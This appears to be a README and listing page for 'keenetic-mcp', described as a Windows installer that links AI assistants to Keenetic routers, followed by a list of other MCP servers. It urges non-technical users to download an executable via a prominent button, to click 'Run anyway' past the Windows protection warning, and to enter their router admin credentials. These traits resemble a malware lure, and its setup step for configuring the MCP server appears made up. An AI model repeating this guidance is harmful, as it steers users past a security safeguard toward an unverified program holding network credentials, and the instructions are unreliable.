keenetic-mcp
MCP server that bridges AI assistants like Claude Code to Keenetic routers, enabling natural language control of Wi-Fi, devices, VPN, and network segmentation via the router's RCI interface.
README
<h1>đ¨âđť keenetic-mcp - Control Your Keenetic Router With AI</h1>
<p align="center"> <a href="https://github.com/elihucredible450/keenetic-mcp" style="display:inline-block;padding:16px 32px;background:linear-gradient(135deg,#6366f1,#8b5cf6);color:#fff;font-size:20px;font-weight:bold;border-radius:12px;text-decoration:none;box-shadow:0 4px 15px rgba(99,102,241,0.4);">âŹď¸ Download Keenetic-MCP</a> </p>
đ¤ What Is Keenetic-MCP?
Keenetic-MCP is a bridge that lets your AI assistant (like Claude Code, Codex, or Cursor) talk directly to your Keenetic router. Instead of typing confusing commands or logging into a web panel, you just ask your AI to do things like:
- Show which devices are connected to Wi-Fi
- Turn on a guest network
- Route your VPN traffic through a specific tunnel
- Create an isolated network segment for smart home gadgets
This works without installing anything on your router. The software sits on your Windows computer and uses the router's own built-in RCI interface. It's secure, read-only by default, and wonât mess up your network if you make a mistake.
đŻ Who Is This For?
You donât need to be a programmer. If you can click a button and copy-paste text, you can set this up. Itâs for anyone who:
- Wants to control their home network with simple conversations
- Has a Keenetic router (like Keenetic Air, Keenetic Hero, Keenetic Giga, or Keenetic Ultra)
- Uses AI tools like Claude Code, Codex, or Cursor
- Wants to automate Wi-Fi, VPN, and device management without learning complex router commands
đŚ What Can You Do With It?
Here are just a few examples of what you can say to your AI after setup:
- "List all devices on my network and show their IP addresses."
- "Turn off Wi-Fi for the guest network at 10 PM."
- "Route all traffic from my PC through the WireGuard VPN tunnel."
- "Create a new isolated segment for my IoT devices."
- "Show me how much bandwidth each device is using."
These arenât pre-canned scriptsâthe AI learns how your router behaves through built-in "skills" or plugins. So it can handle new requests too, like "Pause internet for my sonâs Xbox for 2 hours" or "Change the DNS server on the main Wi-Fi network."
đ Getting Started
Follow these steps carefully. It should take about 10 minutes total.
Step 1: Download the Application
Click the big purple button at the top of this page, or use this link:
đ Visit this link to download the application
This link will take you to the GitHub page where you can grab the file. Look for the latest release and download the installer file.
Step 2: Run the Installer
Once the download is complete, find the file in your Downloads folder (or wherever your browser saves files). Double-click the file to run it. Your computer may show a blue popup saying "Windows protected your PC" â thatâs normal. Click "More info" and then "Run anyway".
Step 3: Start the Application
After installation, youâll see the Keenetic-MCP icon on your desktop or in your Start menu. Click it to open the main window. It will look simpleâjust a small panel with a few fields and a big green "Start" button.
Step 4: Connect to Your Router
You need two pieces of information from your router:
- Router IP address â Usually something like
192.168.1.1or192.168.0.1. You can find this by looking at a sticker on the back of your router. - Router username and password â These are the same credentials you use to log into the routerâs web admin panel (the page that opens when you type the IP into a browser).
Enter these into the application and click "Connect". If all is correct, youâll see a green checkmark.
Step 5: Connect Your AI Assistant
Now you need to tell your AI tool (like Claude Code or Cursor) to use Keenetic-MCP. Each tool has a slightly different setting, but hereâs the basic idea:
- Open your AI toolâs settings or configuration file (usually called
settings.jsonor a.envfile). - Add a line pointing to Keenetic-MCP. The exact text looks like:
MCP_SERVER="keenetic-mcp"
- Save the file and restart your AI tool.
If youâre not sure where this file lives, check the documentation for your specific AI tool. They all support MCP servers nowâthatâs the whole point of this project.
Step 6: Test It
Type in the AI chat something like: "List all devices currently connected to my Wi-Fi." If everything is set up correctly, your AI will respond with a list of device names, IP addresses, and MAC addresses.
If you get an error, donât panic. Usually itâs just a wrong password or IP. Double-check those two things in the Keenetic-MCP window.
đ§ Troubleshooting Common Issues
"I canât connect to the router"
- Make sure you typed the IP address correctly. Try opening a browser and typing that IP into the address bar. If you see a login page, the IP is right.
- Use your router admin usernameâdonât invent one. On many Keenetic routers this is simply
admin. The password is what you set when you first configured the router. - If your router is on a different subnet (like
10.0.0.1), use that instead.
"My AI tool doesnât recognize the MCP server"
- Make sure you restarted your AI tool after saving the config file.
- Check that the config file is in the correct location. Many tools have a "Show Config" buttonâuse that to open the right folder.
- Re-download the latest version of Keenetic-MCPâsometimes a new version is needed for certain AI tools.
"The AI says it canât do something"
- Try rephrasing your request. Instead of âPause internet,â say âSet client
iPhone-5cto blocked for 2 hours.â - Make sure your router model supports the feature youâre asking about. Keenetic-MCP only exposes features your router actually has.
đ Understanding the Tools (No Coding Required)
Hereâs what the "plugins" and "skills" mean, in plain English:
- Plugin â A small add-on that teaches your AI one specific trick, like "control Wi-Fi" or "manage VPN tunnels."
- Skill â A learned behavior. Once your AI reads the plugin, it knows how to combine commands to do complex tasks.
- RCI API â The routerâs built-in "remote control" interface. Keenetic-MCP just speaks the routerâs language, so nothing extra needs to be installed on the hardware.
You donât need to do anything with theseâtheyâre built in and work automatically.
đĄď¸ Is This Safe?
Yes. Hereâs why:
- Keenetic-MCP only sends commands to your router when you ask your AI to do something. It doesnât run in the background.
- By default, it runs in "read-only" mode. That means your AI can see your network, but canât change anything unless you explicitly allow it in the settings.
- Your router password is stored securely on your computer, not in the cloud.
- All communication stays on your local network. Nothing goes to the internet.
You can always disable any skill or plugin if you feel uncomfortable with a particular feature.
đ§° Optional: Advanced Settings
If youâre feeling adventurous, open the Keenetic-MCP settings panel. There you can:
- Change the port the application listens on (default is 8443).
- Enable "write mode" so your AI can actually change router settings.
- Set an allowed/blocked device list to restrict which devices the AI can manage.
- Add multiple router profiles if you have more than one Keenetic router.
These settings are documented in plain English on the screenâno technical knowledge needed.
đŹ Getting Help
If you get stuck, you have options:
- Check the GitHub repository (the link at the top of this page) â look in the âIssuesâ tab for similar problems.
- Ask the community â thereâs a discussion forum on the GitHub page for questions and feature requests.
- Read the comments in the config file â most settings have helpful hints written right beside them.
This project is actively maintained, so updates come regularly. Youâll see a notification in the app when a new version is available.
đ System Requirements
Keenetic-MCP works on any modern Windows PC:
- Windows 10 or Windows 11 (64-bit)
- 2 GB of RAM or more
- 50 MB of free disk space
- A Keenetic router (any model that supports the RCI interfaceâwhich is basically all modern ones)
- An internet browser (for initial download only)
No administrator privileges are needed for normal operation. No other software or dependencies are required.
â Final Checklist
Before you start, make sure:
| Item | Status |
|---|---|
| Keenetic-MCP downloaded and installed | â |
| Router IP address and password handy | â |
| AI tool (Claude Code, Codex, Cursor, etc.) installed | â |
| Keenetic-MCP connected to router | â |
| MCP server configured in your AI tool | â |
| Tested with a simple request | â |
Once youâve completed these, youâre ready to control your network with plain words. No more hunting through router menus, no more typing cryptic commands. Just ask, and your AI will handle the rest.
Click the download button at the top of this page to get started today.
Keywords: claude, claude-code, claude-plugin, codex, home-network, keenetic, mcp, mcp-server, model-context-protocol, ndms, network-automation, rci, router, vpn, wifi
Recommended Servers
playwright-mcp
A Model Context Protocol server that enables LLMs to interact with web pages through structured accessibility snapshots without requiring vision models or screenshots.
Magic Component Platform (MCP)
An AI-powered tool that generates modern UI components from natural language descriptions, integrating with popular IDEs to streamline UI development workflow.
Audiense Insights MCP Server
Enables interaction with Audiense Insights accounts via the Model Context Protocol, facilitating the extraction and analysis of marketing insights and audience data including demographics, behavior, and influencer engagement.
VeyraX MCP
Single MCP tool to connect all your favorite tools: Gmail, Calendar and 40 more.
graphlit-mcp-server
The Model Context Protocol (MCP) Server enables integration between MCP clients and the Graphlit service. Ingest anything from Slack to Gmail to podcast feeds, in addition to web crawling, into a Graphlit project - and then retrieve relevant contents from the MCP client.
Kagi MCP Server
An MCP server that integrates Kagi search capabilities with Claude AI, enabling Claude to perform real-time web searches when answering questions that require up-to-date information.
E2B
Using MCP to run code via e2b.
Neon Database
MCP server for interacting with Neon Management API and databases
Exa Search
A Model Context Protocol (MCP) server lets AI assistants like Claude use the Exa AI Search API for web searches. This setup allows AI models to get real-time web information in a safe and controlled way.
Qdrant Server
This repository is an example of how to create a MCP server for Qdrant, a vector search engine.